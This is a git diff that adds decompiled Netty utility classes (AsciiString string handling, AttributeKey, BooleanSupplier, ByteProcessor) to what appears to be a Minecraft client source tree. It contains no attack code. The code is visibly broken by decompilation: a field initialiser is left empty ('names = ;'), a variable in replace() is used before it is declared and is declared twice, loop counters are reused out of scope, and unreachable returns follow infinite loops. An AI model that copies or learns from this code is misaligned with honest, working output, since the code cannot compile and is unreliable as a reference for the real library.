+      AsciiString rhs = (AsciiString)string;
+      int i = arrayOffset(); for (int j = rhs.arrayOffset(); i < length(); j++) {
+        if (!equalsIgnoreCase(value[i], value[j])) {
+          return false;
+        }
+        i++;
+      }
+      
+
+
+      return true;
+    }
+    
+    int i = arrayOffset(); for (int j = 0; i < length(); j++) {
+      if (!equalsIgnoreCase(b2c(value[i]), string.charAt(j))) {
+        return false;
+      }
+      i++;
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+  public char[] toCharArray()
+  {
+    return toCharArray(0, length());
+  }
+  
+
+
+
+
+  public char[] toCharArray(int start, int end)
+  {
+    int length = end - start;
+    if (length == 0) {
+      return EmptyArrays.EMPTY_CHARS;
+    }
+    
+    if (MathUtil.isOutOfBounds(start, length, length())) {
+      throw new IndexOutOfBoundsException("expected: 0 <= start(" + start + ") <= srcIdx + length(" + length + ") <= srcLen(" + length() + ')');
+    }
+    
+
+    char[] buffer = new char[length];
+    int i = 0; for (int j = start + arrayOffset(); i < length; j++) {
+      buffer[i] = b2c(value[j]);i++;
+    }
+    return buffer;
+  }
+  
+
+
+
+
+
+
+
+  public void copy(int srcIdx, char[] dst, int dstIdx, int length)
+  {
+    if (dst == null) {
+      throw new NullPointerException("dst");
+    }
+    
+    if (MathUtil.isOutOfBounds(srcIdx, length, length())) {
+      throw new IndexOutOfBoundsException("expected: 0 <= srcIdx(" + srcIdx + ") <= srcIdx + length(" + length + ") <= srcLen(" + length() + ')');
+    }
+    
+
+    int dstEnd = dstIdx + length;
+    int i = dstIdx; for (int j = srcIdx + arrayOffset(); i < dstEnd; j++) {
+      dst[i] = b2c(value[j]);i++;
+    }
+  }
+  
+
+
+
+
+
+  public AsciiString subSequence(int start)
+  {
+    return subSequence(start, length());
+  }
+  
+
+
+
+
+
+
+
+  public AsciiString subSequence(int start, int end)
+  {
+    return subSequence(start, end, true);
+  }
+  
+
+
+
+
+
+
+
+
+  public AsciiString subSequence(int start, int end, boolean copy)
+  {
+    if (MathUtil.isOutOfBounds(start, end - start, length())) {
+      throw new IndexOutOfBoundsException("expected: 0 <= start(" + start + ") <= end (" + end + ") <= length(" + length() + ')');
+    }
+    
+
+    if ((start == 0) && (end == length())) {
+      return this;
+    }
+    
+    if (end == start) {
+      return EMPTY_STRING;
+    }
+    
+    return new AsciiString(value, start + offset, end - start, copy);
+  }
+  
+
+
+
+
+
+
+
+
+  public int indexOf(CharSequence string)
+  {
+    return indexOf(string, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int indexOf(CharSequence subString, int start)
+  {
+    if (start < 0) {
+      start = 0;
+    }
+    
+    int thisLen = length();
+    
+    int subCount = subString.length();
+    if (subCount <= 0) {
+      return start < thisLen ? start : thisLen;
+    }
+    if (subCount > thisLen - start) {
+      return -1;
+    }
+    
+    char firstChar = subString.charAt(0);
+    if (firstChar > 'ÿ') {
+      return -1;
+    }
+    ByteProcessor IndexOfVisitor = new ByteProcessor.IndexOfProcessor((byte)firstChar);
+    try {
+      for (;;) {
+        int i = forEachByte(start, thisLen - start, IndexOfVisitor);
+        if ((i == -1) || (subCount + i > thisLen)) {
+          return -1;
+        }
+        int o1 = i;int o2 = 0;
+        do { o2++; } while ((o2 < subCount) && (b2c(value[(++o1 + arrayOffset())]) == subString.charAt(o2)));
+        
+
+        if (o2 == subCount) {
+          return i;
+        }
+        start = i + 1;
+      }
+      
+
+      return -1;
+    }
+    catch (Exception e)
+    {
+      PlatformDependent.throwException(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int indexOf(char ch, int start)
+  {
+    if (start < 0) {
+      start = 0;
+    }
+    
+    int thisLen = length();
+    
+    if (ch > 'ÿ') {
+      return -1;
+    }
+    try
+    {
+      return forEachByte(start, thisLen - start, new ByteProcessor.IndexOfProcessor((byte)ch));
+    } catch (Exception e) {
+      PlatformDependent.throwException(e); }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public int lastIndexOf(CharSequence string)
+  {
+    return lastIndexOf(string, length());
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int lastIndexOf(CharSequence subString, int start)
+  {
+    int thisLen = length();
+    int subCount = subString.length();
+    
+    if ((subCount > thisLen) || (start < 0)) {
+      return -1;
+    }
+    
+    if (subCount <= 0) {
+      return start < thisLen ? start : thisLen;
+    }
+    
+    start = Math.min(start, thisLen - subCount);
+    
+
+    char firstChar = subString.charAt(0);
+    if (firstChar > 'ÿ') {
+      return -1;
+    }
+    ByteProcessor IndexOfVisitor = new ByteProcessor.IndexOfProcessor((byte)firstChar);
+    try {
+      for (;;) {
+        int i = forEachByteDesc(start, thisLen - start, IndexOfVisitor);
+        if (i == -1) {
+          return -1;
+        }
+        int o1 = i;int o2 = 0;
+        do { o2++; } while ((o2 < subCount) && (b2c(value[(++o1 + arrayOffset())]) == subString.charAt(o2)));
+        
+
+        if (o2 == subCount) {
+          return i;
+        }
+        start = i - 1;
+      }
+      
+
+      return -1;
+    }
+    catch (Exception e)
+    {
+      PlatformDependent.throwException(e);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean regionMatches(int thisStart, CharSequence string, int start, int length)
+  {
+    if (string == null) {
+      throw new NullPointerException("string");
+    }
+    
+    if ((start < 0) || (string.length() - start < length)) {
+      return false;
+    }
+    
+    int thisLen = length();
+    if ((thisStart < 0) || (thisLen - thisStart < length)) {
+      return false;
+    }
+    
+    if (length <= 0) {
+      return true;
+    }
+    
+    int thatEnd = start + length;
+    int i = start; for (int j = thisStart + arrayOffset(); i < thatEnd; j++) {
+      if (b2c(value[j]) != string.charAt(i)) {
+        return false;
+      }
+      i++;
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public boolean regionMatches(boolean ignoreCase, int thisStart, CharSequence string, int start, int length)
+  {
+    if (!ignoreCase) {
+      return regionMatches(thisStart, string, start, length);
+    }
+    
+    if (string == null) {
+      throw new NullPointerException("string");
+    }
+    
+    int thisLen = length();
+    if ((thisStart < 0) || (length > thisLen - thisStart)) {
+      return false;
+    }
+    if ((start < 0) || (length > string.length() - start)) {
+      return false;
+    }
+    
+    thisStart += arrayOffset();
+    int thisEnd = thisStart + length;
+    while (thisStart < thisEnd) {
+      if (!equalsIgnoreCase(b2c(value[(thisStart++)]), string.charAt(start++))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+  public AsciiString replace(char oldChar, char newChar)
+  {
+    if (oldChar > 'ÿ') {
+      return this;
+    }
+    
+
+    byte oldCharByte = c2b(oldChar);
+    try {
+      index = forEachByte(new ByteProcessor.IndexOfProcessor(oldCharByte));
+    } catch (Exception e) { int index;
+      PlatformDependent.throwException(e);
+      return this; }
+    int index;
+    if (index == -1) {
+      return this;
+    }
+    
+    byte newCharByte = c2b(newChar);
+    byte[] buffer = new byte[length()];
+    int i = 0; for (int j = arrayOffset(); i < buffer.length; j++) {
+      byte b = value[j];
+      if (b == oldCharByte) {
+        b = newCharByte;
+      }
+      buffer[i] = b;i++;
+    }
+    
+    return new AsciiString(buffer, false);
+  }
+  
+
+
+
+
+
+
+  public boolean startsWith(CharSequence prefix)
+  {
+    return startsWith(prefix, 0);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public boolean startsWith(CharSequence prefix, int start)
+  {
+    return regionMatches(start, prefix, 0, prefix.length());
+  }
+  
+
+
+
+
+  public AsciiString toLowerCase()
+  {
+    boolean lowercased = true;
+    
+    int len = length() + arrayOffset();
+    for (int i = arrayOffset(); i < len; i++) {
+      byte b = value[i];
+      if ((b >= 65) && (b <= 90)) {
+        lowercased = false;
+        break;
+      }
+    }
+    
+
+    if (lowercased) {
+      return this;
+    }
+    
+    byte[] newValue = new byte[length()];
+    i = 0; for (int j = arrayOffset(); i < newValue.length; j++) {
+      newValue[i] = toLowerCase(value[j]);i++;
+    }
+    
+    return new AsciiString(newValue, false);
+  }
+  
+
+
+
+
+  public AsciiString toUpperCase()
+  {
+    boolean uppercased = true;
+    
+    int len = length() + arrayOffset();
+    for (int i = arrayOffset(); i < len; i++) {
+      byte b = value[i];
+      if ((b >= 97) && (b <= 122)) {
+        uppercased = false;
+        break;
+      }
+    }
+    
+
+    if (uppercased) {
+      return this;
+    }
+    
+    byte[] newValue = new byte[length()];
+    i = 0; for (int j = arrayOffset(); i < newValue.length; j++) {
+      newValue[i] = toUpperCase(value[j]);i++;
+    }
+    
+    return new AsciiString(newValue, false);
+  }
+  
+
+
+
+
+  public AsciiString trim()
+  {
+    int start = arrayOffset();int last = arrayOffset() + length() - 1;
+    int end = last;
+    while ((start <= end) && (value[start] <= 32)) {
+      start++;
+    }
+    while ((end >= start) && (value[end] <= 32)) {
+      end--;
+    }
+    if ((start == 0) && (end == last)) {
+      return this;
+    }
+    return new AsciiString(value, start, end - start + 1, false);
+  }
+  
+
+
+
+
+
+  public boolean contentEquals(CharSequence a)
+  {
+    if ((a == null) || (a.length() != length())) {
+      return false;
+    }
+    if (a.getClass() == AsciiString.class) {
+      return equals(a);
+    }
+    
+    int i = arrayOffset(); for (int j = 0; j < a.length(); j++) {
+      if (b2c(value[i]) != a.charAt(j)) {
+        return false;
+      }
+      i++;
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  public boolean matches(String expr)
+  {
+    return Pattern.matches(expr, this);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public AsciiString[] split(String expr, int max)
+  {
+    return toAsciiStringArray(Pattern.compile(expr).split(this, max));
+  }
+  
+
+
+  public AsciiString[] split(char delim)
+  {
+    List<AsciiString> res = InternalThreadLocalMap.get().arrayList();
+    
+    int start = 0;
+    int length = length();
+    for (int i = start; i < length; i++) {
+      if (charAt(i) == delim) {
+        if (start == i) {
+          res.add(EMPTY_STRING);
+        } else {
+          res.add(new AsciiString(value, start + arrayOffset(), i - start, false));
+        }
+        start = i + 1;
+      }
+    }
+    
+    if (start == 0) {
+      res.add(this);
+    }
+    else if (start != length)
+    {
+      res.add(new AsciiString(value, start + arrayOffset(), length - start, false));
+    }
+    else {
+      for (int i = res.size() - 1; i >= 0; i--) {
+        if (!((AsciiString)res.get(i)).isEmpty()) break;
+        res.remove(i);
+      }
+    }
+    
+
+
+
+
+    return (AsciiString[])res.toArray(new AsciiString[res.size()]);
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    if (hash == 0) {
+      hash = PlatformDependent.hashCodeAscii(value, offset, length);
+    }
+    return hash;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if ((obj == null) || (obj.getClass() != AsciiString.class)) {
+      return false;
+    }
+    if (this == obj) {
+      return true;
+    }
+    
+    AsciiString other = (AsciiString)obj;
+    return (length() == other.length()) && (hashCode() == other.hashCode()) && (PlatformDependent.equals(array(), arrayOffset(), other.array(), other.arrayOffset(), length()));
+  }
+  
+
+
+
+
+
+
+  public String toString()
+  {
+    if (string != null) {
+      return string;
+    }
+    string = toString(0);
+    return string;
+  }
+  
+
+
+
+  public String toString(int start)
+  {
+    return toString(start, length());
+  }
+  
+
+
+  public String toString(int start, int end)
+  {
+    int length = end - start;
+    if (length == 0) {
+      return "";
+    }
+    
+    if (MathUtil.isOutOfBounds(start, length, length())) {
+      throw new IndexOutOfBoundsException("expected: 0 <= start(" + start + ") <= srcIdx + length(" + length + ") <= srcLen(" + length() + ')');
+    }
+    
+
+
+    String str = new String(value, 0, start + offset, length);
+    return str;
+  }
+  
+  public boolean parseBoolean() {
+    return (length >= 1) && (value[offset] != 0);
+  }
+  
+  public char parseChar() {
+    return parseChar(0);
+  }
+  
+  public char parseChar(int start) {
+    if (start + 1 >= length()) {
+      throw new IndexOutOfBoundsException("2 bytes required to convert to character. index " + start + " would go out of bounds.");
+    }
+    
+    int startWithOffset = start + offset;
+    return (char)(b2c(value[startWithOffset]) << '\b' | b2c(value[(startWithOffset + 1)]));
+  }
+  
+  public short parseShort() {
+    return parseShort(0, length(), 10);
+  }
+  
+  public short parseShort(int radix) {
+    return parseShort(0, length(), radix);
+  }
+  
+  public short parseShort(int start, int end) {
+    return parseShort(start, end, 10);
+  }
+  
+  public short parseShort(int start, int end, int radix) {
+    int intValue = parseInt(start, end, radix);
+    short result = (short)intValue;
+    if (result != intValue) {
+      throw new NumberFormatException(subSequence(start, end, false).toString());
+    }
+    return result;
+  }
+  
+  public int parseInt() {
+    return parseInt(0, length(), 10);
+  }
+  
+  public int parseInt(int radix) {
+    return parseInt(0, length(), radix);
+  }
+  
+  public int parseInt(int start, int end) {
+    return parseInt(start, end, 10);
+  }
+  
+  public int parseInt(int start, int end, int radix) {
+    if ((radix < 2) || (radix > 36)) {
+      throw new NumberFormatException();
+    }
+    
+    if (start == end) {
+      throw new NumberFormatException();
+    }
+    
+    int i = start;
+    boolean negative = byteAt(i) == 45;
+    if (negative) { i++; if (i == end) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+    }
+    return parseInt(i, end, radix, negative);
+  }
+  
+  private int parseInt(int start, int end, int radix, boolean negative) {
+    int max = Integer.MIN_VALUE / radix;
+    int result = 0;
+    int currOffset = start;
+    while (currOffset < end) {
+      int digit = Character.digit((char)(value[(currOffset++ + offset)] & 0xFF), radix);
+      if (digit == -1) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+      if (max > result) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+      int next = result * radix - digit;
+      if (next > result) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+      result = next;
+    }
+    if (!negative) {
+      result = -result;
+      if (result < 0) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+    }
+    return result;
+  }
+  
+  public long parseLong() {
+    return parseLong(0, length(), 10);
+  }
+  
+  public long parseLong(int radix) {
+    return parseLong(0, length(), radix);
+  }
+  
+  public long parseLong(int start, int end) {
+    return parseLong(start, end, 10);
+  }
+  
+  public long parseLong(int start, int end, int radix) {
+    if ((radix < 2) || (radix > 36)) {
+      throw new NumberFormatException();
+    }
+    
+    if (start == end) {
+      throw new NumberFormatException();
+    }
+    
+    int i = start;
+    boolean negative = byteAt(i) == 45;
+    if (negative) { i++; if (i == end) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+    }
+    return parseLong(i, end, radix, negative);
+  }
+  
+  private long parseLong(int start, int end, int radix, boolean negative) {
+    long max = Long.MIN_VALUE / radix;
+    long result = 0L;
+    int currOffset = start;
+    while (currOffset < end) {
+      int digit = Character.digit((char)(value[(currOffset++ + offset)] & 0xFF), radix);
+      if (digit == -1) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+      if (max > result) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+      long next = result * radix - digit;
+      if (next > result) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+      result = next;
+    }
+    if (!negative) {
+      result = -result;
+      if (result < 0L) {
+        throw new NumberFormatException(subSequence(start, end, false).toString());
+      }
+    }
+    return result;
+  }
+  
+  public float parseFloat() {
+    return parseFloat(0, length());
+  }
+  
+  public float parseFloat(int start, int end) {
+    return Float.parseFloat(toString(start, end));
+  }
+  
+  public double parseDouble() {
+    return parseDouble(0, length());
+  }
+  
+  public double parseDouble(int start, int end) {
+    return Double.parseDouble(toString(start, end));
+  }
+  
+  public static final HashingStrategy<CharSequence> CASE_INSENSITIVE_HASHER = new HashingStrategy()
+  {
+    public int hashCode(CharSequence o)
+    {
+      return AsciiString.hashCode(o);
+    }
+    
+    public boolean equals(CharSequence a, CharSequence b)
+    {
+      return AsciiString.contentEqualsIgnoreCase(a, b);
+    }
+  };
+  
+  public static final HashingStrategy<CharSequence> CASE_SENSITIVE_HASHER = new HashingStrategy()
+  {
+    public int hashCode(CharSequence o)
+    {
+      return AsciiString.hashCode(o);
+    }
+    
+    public boolean equals(CharSequence a, CharSequence b)
+    {
+      return AsciiString.contentEquals(a, b);
+    }
+  };
+  
+
+
+
+  public static AsciiString of(CharSequence string)
+  {
+    return string.getClass() == AsciiString.class ? (AsciiString)string : new AsciiString(string);
+  }
+  
+
+
+
+
+  public static int hashCode(CharSequence value)
+  {
+    if (value == null) {
+      return 0;
+    }
+    if (value.getClass() == AsciiString.class) {
+      return value.hashCode();
+    }
+    
+    return PlatformDependent.hashCodeAscii(value);
+  }
+  
+
+
+  public static boolean contains(CharSequence a, CharSequence b)
+  {
+    return contains(a, b, DefaultCharEqualityComparator.INSTANCE);
+  }
+  
+
+
+  public static boolean containsIgnoreCase(CharSequence a, CharSequence b)
+  {
+    return contains(a, b, AsciiCaseInsensitiveCharEqualityComparator.INSTANCE);
+  }
+  
+
+
+
+  public static boolean contentEqualsIgnoreCase(CharSequence a, CharSequence b)
+  {
+    if ((a == null) || (b == null)) {
+      return a == b;
+    }
+    
+    if (a.getClass() == AsciiString.class) {
+      return ((AsciiString)a).contentEqualsIgnoreCase(b);
+    }
+    if (b.getClass() == AsciiString.class) {
+      return ((AsciiString)b).contentEqualsIgnoreCase(a);
+    }
+    
+    if (a.length() != b.length()) {
+      return false;
+    }
+    int i = 0; for (int j = 0; i < a.length(); j++) {
+      if (!equalsIgnoreCase(a.charAt(i), b.charAt(j))) {
+        return false;
+      }
+      i++;
+    }
+    
+
+
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean containsContentEqualsIgnoreCase(Collection<CharSequence> collection, CharSequence value)
+  {
+    for (CharSequence v : collection) {
+      if (contentEqualsIgnoreCase(value, v)) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean containsAllContentEqualsIgnoreCase(Collection<CharSequence> a, Collection<CharSequence> b)
+  {
+    for (CharSequence v : b) {
+      if (!containsContentEqualsIgnoreCase(a, v)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+  public static boolean contentEquals(CharSequence a, CharSequence b)
+  {
+    if ((a == null) || (b == null)) {
+      return a == b;
+    }
+    
+    if (a.getClass() == AsciiString.class) {
+      return ((AsciiString)a).contentEquals(b);
+    }
+    
+    if (b.getClass() == AsciiString.class) {
+      return ((AsciiString)b).contentEquals(a);
+    }
+    
+    if (a.length() != b.length()) {
+      return false;
+    }
+    for (int i = 0; i < a.length(); i++) {
+      if (a.charAt(i) != b.charAt(i)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  private static AsciiString[] toAsciiStringArray(String[] jdkResult) {
+    AsciiString[] res = new AsciiString[jdkResult.length];
+    for (int i = 0; i < jdkResult.length; i++) {
+      res[i] = new AsciiString(jdkResult[i]);
+    }
+    return res;
+  }
+  
+  private static abstract interface CharEqualityComparator {
+    public abstract boolean equals(char paramChar1, char paramChar2);
+  }
+  
+  private static final class DefaultCharEqualityComparator implements AsciiString.CharEqualityComparator {
+    static final DefaultCharEqualityComparator INSTANCE = new DefaultCharEqualityComparator();
+    
+    private DefaultCharEqualityComparator() {}
+    
+    public boolean equals(char a, char b) {
+      return a == b;
+    }
+  }
+  
+  private static final class AsciiCaseInsensitiveCharEqualityComparator implements AsciiString.CharEqualityComparator
+  {
+    static final AsciiCaseInsensitiveCharEqualityComparator INSTANCE = new AsciiCaseInsensitiveCharEqualityComparator();
+    
+    private AsciiCaseInsensitiveCharEqualityComparator() {}
+    
+    public boolean equals(char a, char b) {
+      return AsciiString.equalsIgnoreCase(a, b);
+    }
+  }
+  
+  private static final class GeneralCaseInsensitiveCharEqualityComparator implements AsciiString.CharEqualityComparator
+  {
+    static final GeneralCaseInsensitiveCharEqualityComparator INSTANCE = new GeneralCaseInsensitiveCharEqualityComparator();
+    
+    private GeneralCaseInsensitiveCharEqualityComparator() {}
+    
+    public boolean equals(char a, char b)
+    {
+      return (Character.toUpperCase(a) == Character.toUpperCase(b)) || (Character.toLowerCase(a) == Character.toLowerCase(b));
+    }
+  }
+  
+  private static boolean contains(CharSequence a, CharSequence b, CharEqualityComparator cmp)
+  {
+    if ((a == null) || (b == null) || (a.length() < b.length())) {
+      return false;
+    }
+    if (b.length() == 0) {
+      return true;
+    }
+    int bStart = 0;
+    for (int i = 0; i < a.length(); i++) {
+      if (cmp.equals(b.charAt(bStart), a.charAt(i)))
+      {
+        bStart++; if (bStart == b.length())
+          return true;
+      } else {
+        if (a.length() - i < b.length())
+        {
+          return false;
+        }
+        bStart = 0;
+      }
+    }
+    return false;
+  }
+  
+
+
+  private static boolean regionMatchesCharSequences(CharSequence cs, int csStart, CharSequence string, int start, int length, CharEqualityComparator charEqualityComparator)
+  {
+    if ((csStart < 0) || (length > cs.length() - csStart)) {
+      return false;
+    }
+    if ((start < 0) || (length > string.length() - start)) {
+      return false;
+    }
+    
+    int csIndex = csStart;
+    int csEnd = csIndex + length;
+    int stringIndex = start;
+    
+    while (csIndex < csEnd) {
+      char c1 = cs.charAt(csIndex++);
+      char c2 = string.charAt(stringIndex++);
+      
+      if (!charEqualityComparator.equals(c1, c2)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static boolean regionMatches(CharSequence cs, boolean ignoreCase, int csStart, CharSequence string, int start, int length)
+  {
+    if ((cs == null) || (string == null)) {
+      return false;
+    }
+    
+    if (((cs instanceof String)) && ((string instanceof String))) {
+      return ((String)cs).regionMatches(ignoreCase, csStart, (String)string, start, length);
+    }
+    
+    if ((cs instanceof AsciiString)) {
+      return ((AsciiString)cs).regionMatches(ignoreCase, csStart, string, start, length);
+    }
+    
+    return regionMatchesCharSequences(cs, csStart, string, start, length, ignoreCase ? GeneralCaseInsensitiveCharEqualityComparator.INSTANCE : DefaultCharEqualityComparator.INSTANCE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static boolean regionMatchesAscii(CharSequence cs, boolean ignoreCase, int csStart, CharSequence string, int start, int length)
+  {
+    if ((cs == null) || (string == null)) {
+      return false;
+    }
+    
+    if ((!ignoreCase) && ((cs instanceof String)) && ((string instanceof String)))
+    {
+
+
+      return ((String)cs).regionMatches(false, csStart, (String)string, start, length);
+    }
+    
+    if ((cs instanceof AsciiString)) {
+      return ((AsciiString)cs).regionMatches(ignoreCase, csStart, string, start, length);
+    }
+    
+    return regionMatchesCharSequences(cs, csStart, string, start, length, ignoreCase ? AsciiCaseInsensitiveCharEqualityComparator.INSTANCE : DefaultCharEqualityComparator.INSTANCE);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int indexOfIgnoreCase(CharSequence str, CharSequence searchStr, int startPos)
+  {
+    if ((str == null) || (searchStr == null)) {
+      return -1;
+    }
+    if (startPos < 0) {
+      startPos = 0;
+    }
+    int searchStrLen = searchStr.length();
+    int endLimit = str.length() - searchStrLen + 1;
+    if (startPos > endLimit) {
+      return -1;
+    }
+    if (searchStrLen == 0) {
+      return startPos;
+    }
+    for (int i = startPos; i < endLimit; i++) {
+      if (regionMatches(str, true, i, searchStr, 0, searchStrLen)) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static int indexOfIgnoreCaseAscii(CharSequence str, CharSequence searchStr, int startPos)
+  {
+    if ((str == null) || (searchStr == null)) {
+      return -1;
+    }
+    if (startPos < 0) {
+      startPos = 0;
+    }
+    int searchStrLen = searchStr.length();
+    int endLimit = str.length() - searchStrLen + 1;
+    if (startPos > endLimit) {
+      return -1;
+    }
+    if (searchStrLen == 0) {
+      return startPos;
+    }
+    for (int i = startPos; i < endLimit; i++) {
+      if (regionMatchesAscii(str, true, i, searchStr, 0, searchStrLen)) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static int indexOf(CharSequence cs, char searchChar, int start)
+  {
+    if ((cs instanceof String))
+      return ((String)cs).indexOf(searchChar, start);
+    if ((cs instanceof AsciiString)) {
+      return ((AsciiString)cs).indexOf(searchChar, start);
+    }
+    if (cs == null) {
+      return -1;
+    }
+    int sz = cs.length();
+    if (start < 0) {
+      start = 0;
+    }
+    for (int i = start; i < sz; i++) {
+      if (cs.charAt(i) == searchChar) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+  private static boolean equalsIgnoreCase(byte a, byte b) {
+    return (a == b) || (toLowerCase(a) == toLowerCase(b));
+  }
+  
+  private static boolean equalsIgnoreCase(char a, char b) {
+    return (a == b) || (toLowerCase(a) == toLowerCase(b));
+  }
+  
+  private static byte toLowerCase(byte b) {
+    return isUpperCase(b) ? (byte)(b + 32) : b;
+  }
+  
+  private static char toLowerCase(char c) {
+    return isUpperCase(c) ? (char)(c + ' ') : c;
+  }
+  
+  private static byte toUpperCase(byte b) {
+    return isLowerCase(b) ? (byte)(b - 32) : b;
+  }
+  
+  private static boolean isLowerCase(byte value) {
+    return (value >= 97) && (value <= 122);
+  }
+  
+  public static boolean isUpperCase(byte value) {
+    return (value >= 65) && (value <= 90);
+  }
+  
+  public static boolean isUpperCase(char value) {
+    return (value >= 'A') && (value <= 'Z');
+  }
+  
+  public static byte c2b(char c) {
+    return (byte)(c > 'ÿ' ? '?' : c);
+  }
+  
+  public static char b2c(byte b) {
+    return (char)(b & 0xFF);
+  }
+}
diff --git a/src/minecraft/io/netty/util/AsyncMapping.java b/src/minecraft/io/netty/util/AsyncMapping.java
new file mode 100644
index 0000000..6385211
--- /dev/null
+++ b/src/minecraft/io/netty/util/AsyncMapping.java
@@ -0,0 +1,9 @@
+package io.netty.util;
+
+import io.netty.util.concurrent.Future;
+import io.netty.util.concurrent.Promise;
+
+public abstract interface AsyncMapping<IN, OUT>
+{
+  public abstract Future<OUT> map(IN paramIN, Promise<OUT> paramPromise);
+}
diff --git a/src/minecraft/io/netty/util/Attribute.java b/src/minecraft/io/netty/util/Attribute.java
new file mode 100644
index 0000000..adafa4f
--- /dev/null
+++ b/src/minecraft/io/netty/util/Attribute.java
@@ -0,0 +1,20 @@
+package io.netty.util;
+
+public abstract interface Attribute<T>
+{
+  public abstract AttributeKey<T> key();
+  
+  public abstract T get();
+  
+  public abstract void set(T paramT);
+  
+  public abstract T getAndSet(T paramT);
+  
+  public abstract T setIfAbsent(T paramT);
+  
+  public abstract T getAndRemove();
+  
+  public abstract boolean compareAndSet(T paramT1, T paramT2);
+  
+  public abstract void remove();
+}
diff --git a/src/minecraft/io/netty/util/AttributeKey.java b/src/minecraft/io/netty/util/AttributeKey.java
new file mode 100644
index 0000000..a5a45da
--- /dev/null
+++ b/src/minecraft/io/netty/util/AttributeKey.java
@@ -0,0 +1,49 @@
+package io.netty.util;
+
+import io.netty.util.internal.PlatformDependent;
+import java.util.concurrent.ConcurrentMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class AttributeKey<T>
+  extends UniqueName
+{
+  private static final ConcurrentMap<String, Boolean> names = ;
+  
+
+
+
+  public static <T> AttributeKey<T> valueOf(String name)
+  {
+    return new AttributeKey(name);
+  }
+  
+
+
+  @Deprecated
+  public AttributeKey(String name)
+  {
+    super(names, name, new Object[0]);
+  }
+}
diff --git a/src/minecraft/io/netty/util/AttributeMap.java b/src/minecraft/io/netty/util/AttributeMap.java
new file mode 100644
index 0000000..be6642b
--- /dev/null
+++ b/src/minecraft/io/netty/util/AttributeMap.java
@@ -0,0 +1,6 @@
+package io.netty.util;
+
+public abstract interface AttributeMap
+{
+  public abstract <T> Attribute<T> attr(AttributeKey<T> paramAttributeKey);
+}
diff --git a/src/minecraft/io/netty/util/BooleanSupplier.java b/src/minecraft/io/netty/util/BooleanSupplier.java
new file mode 100644
index 0000000..061cc1e
--- /dev/null
+++ b/src/minecraft/io/netty/util/BooleanSupplier.java
@@ -0,0 +1,51 @@
+package io.netty.util;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface BooleanSupplier
+{
+  public static final BooleanSupplier FALSE_SUPPLIER = new BooleanSupplier()
+  {
+    public boolean get() {
+      return false;
+    }
+  };
+  
+
+
+
+  public static final BooleanSupplier TRUE_SUPPLIER = new BooleanSupplier()
+  {
+    public boolean get() {
+      return true;
+    }
+  };
+  
+  public abstract boolean get()
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/util/ByteProcessor.java b/src/minecraft/io/netty/util/ByteProcessor.java
new file mode 100644
index 0000000..4405892
--- /dev/null
+++ b/src/minecraft/io/netty/util/ByteProcessor.java
@@ -0,0 +1,127 @@
+package io.netty.util;
+
+
+
+
+
+
+public abstract interface ByteProcessor
+{
+  public abstract boolean process(byte paramByte)
+    throws Exception;
+  
+
+
+
+
+  public static class IndexOfProcessor
+    implements ByteProcessor
+  {
+    private final byte byteToFind;
+    
+
+
+
+
+    public IndexOfProcessor(byte byteToFind)
+    {
+      this.byteToFind = byteToFind;
+    }
+    
+    public boolean process(byte value)
+    {
+      return value != byteToFind;
+    }
+  }
+  
+  public static class IndexNotOfProcessor
+    implements ByteProcessor
+  {
+    private final byte byteToNotFind;
+    
+    public IndexNotOfProcessor(byte byteToNotFind)
+    {
+      this.byteToNotFind = byteToNotFind;
+    }
+    
+    public boolean process(byte value)
+    {
+      return value == byteToNotFind;
+    }
+  }
+  
+
+
+
+  public static final ByteProcessor FIND_NUL = new IndexOfProcessor((byte)0);
+  
+
+
+
+  public static final ByteProcessor FIND_NON_NUL = new IndexNotOfProcessor((byte)0);
+  
+
+
+
+  public static final ByteProcessor FIND_CR = new IndexOfProcessor((byte)13);
+  
+
+
+
+  public static final ByteProcessor FIND_NON_CR = new IndexNotOfProcessor((byte)13);
+  
+
+
+
